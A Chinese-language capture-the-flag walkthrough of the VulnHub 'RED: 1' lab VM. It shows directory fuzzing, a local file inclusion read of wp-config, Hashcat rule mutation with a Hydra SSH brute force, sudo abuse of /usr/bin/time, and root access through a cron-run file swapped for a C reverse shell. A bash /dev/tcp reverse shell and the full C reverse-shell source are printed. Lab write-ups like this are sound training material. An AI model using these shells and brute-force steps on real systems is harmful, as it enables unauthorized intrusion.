vulnhub靶场,RED: 1
环境准备
靶机下载地址:https://www.vulnhub.com/entry/red-1,753/ 攻击机:kali(192.168.109.128) 靶机:RED: 1(192.168.109.197) 下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式 目标:提升为root权限获取root目录下的flag
信息收集
使用arp-scan确定目标靶机  确定目标靶机IP为192.168.109.197 使用nmap扫描查看目标靶机端口开放情况  开放端口:22、80 浏览器访问目标靶机80端口  域名自动跳转到redrocks.win,说明存在域名重定向,进入配置文件/etc/hosts进行配置  再次进行访问  页面提示说找不到他的后门,说明此网站肯定已经被植入了后门,查看一下源代码  这里有一段英文,意思就是说要向Mr. Miessler寻求帮助,也不知道是啥意思,在网上搜一下  发现其中指向了gitub上的一个字典,正好kali上也是自带这个字典的 尝试用其中的字典进行目录扫描
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/
 发现一个NetworkFileManagerPHP.php页面,进行访问,但是访问后发现是一片空白,说明确实存在这个页面,再根据状态码为500猜测这个页面可能存在LFI,使用wfuzz测试一下参数,字典也用github上面提供的字典文件
wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 使用key参数测试一下LFI  确实存在文件包含漏洞
渗透过程
尝试污染日志文件和远程包含均失败,使用filter协议查看NetworkFileManagerPHP.php源码  将结果base64解码一下  里面又存在一段base64加密的密文,使用base64在进行一次解密  That password alone won’t help you! Hashcat says rules are rules 仅凭那个密码对您没有帮助! Hashcat 说规则就是规则 提到了密码、Hashcat 和规则。由于它是 base64 编码的,我们可以假设 Red 在谈论 Hashcat 的 Best64 规则为密码突变,想到的这里大概能获取 wp-config 文件,里面有数据库的密码:  经base64解码得
<?php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'john' );
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
define('FS_METHOD', 'direct');
define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3} Y^u!a54 Xc(');
define('LOGGED_IN_KEY', '[a!K}D<7-vB3Y&x_<3e]Wd J]!o A:U@QUZ-RU1]tO@/N}b}R@ /$ u*pJ|Z(xu-');
define('NONCE_KEY', ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o a');
define('AUTH_SALT', 'a;,O<~vbpL |@W !Rs1o,T$r9(LwaXI =I7ZW$.Z[ BQ=B6QG7nr w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ .[us;6mE |$x* D*Ke :Nt:');
define('LOGGED_IN_SALT', '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@ iZ');
define('NONCE_SALT', 'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1; k[!0[ZG.oCt2@-y3X');
$table_prefix = 'wp_';
define( 'WP_DEBUG', false );
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
require_once ABSPATH . 'wp-settings.php';
账号:john 密码:R3v_m4lwh3r3_k1nG!! 尝试使用这个账号密码进行ssh远程连接  连接失败,根据前面得hashcat,将密码保存到pass.txt文件使用hashcat规则进行破解
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
 使用hydra进行暴力破解
hydra -l john -P passlist.txt ssh://192.168.109.197
 使用john:R3v_m4lwh3r3_k1nG!!6进行远程连接  连接成功
权限提升
在当前目录下发现一个note_from_red.txt文件,查看其内容  这里发现好像将cat和vi命令的作用给互换了,这个文件给出得内容也是说的这个意思 查看sudo命令  发现ippsec用户在无密码的情况下可以执行/usr/bin/time命令,在提权网站上查找提权方法  再次准备进行操作的时候发现ssh连接自动断掉了,而且再次进行连接发现密码也被修改了,只能再次破解一次  使用sudo -u ippsec /usr/bin/time /bin/bash提权为ippsec用户  想进行下一步操作,发现shell又被断掉了  应该是这个靶机的设定,那再重复之前的操纵,在靶机上创建一个反弹shell的脚本 靶机上:
cd /tmp
cat shell.sh
内容为:
bash -c 'bash -i >& /dev/tcp/192.168.109.128/4444 0>&1'
保存后退出
chmod +x shell.sh
./shell.sh
kali监听本地的4444端口即可  shell连接成功,升级一下shell
1. 在 /tmp 目录中创建一个反向 shell bash 脚本
2. 在 kali 上运行 `nc -lvvp 4444` 和 执行 shell 脚本
3. `python3 -c 'import pty;pty.spawn("/bin/bash")'`
4. `export TERM=xterm` 然后 Ctrl+Z 退出来一下
5. `stty raw -echo;fg` 回车后输入 reset 再回车
 即可得到一个不会断开的shell  做到这里,发现一个问题,就是命令行上总是会不时的弹出一些消息,肯定是设置什么定时任务,下载pspy64s监听 spy是一种命令行工具,无需root权限即可监听进程。可查看其他用户执行的命令,cron作业等
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
先在kali上下载好后搭建一个临时的http服务即可
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
python3 -m http.server 8000
 靶机上:
wget http://192.168.109.128:8000/pspy64s
chmod +x pspy64s
./pspy64s
 这里不知道怎么回事反弹回来的shell就一直有问题,就凑合看吧  这应该是他对系统的后门,查看一下这个 supersecretfileuc.c 文件  发现是定时弹出的脚本,所以只需要上传一个提权的脚本将此脚本进行替换即可 先删除 /var/www/wordpress/.git/supersecretfileuc.c 和 rev 文件  写入由c语言编写的反弹shell代码
反弹shell代码:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 4444;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.109.128");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
使用python搭建临时的http服务
python3 -m http.server 8000
 靶机上:
wget http://192.168.109.128:8000/supersecretfileuc.c
 然后kali上监听4444端口,稍微等待一下,即可反弹回来一个权限为root的shell  在其root目录下获取最终的flag,靶机RED: 1渗透结束 
|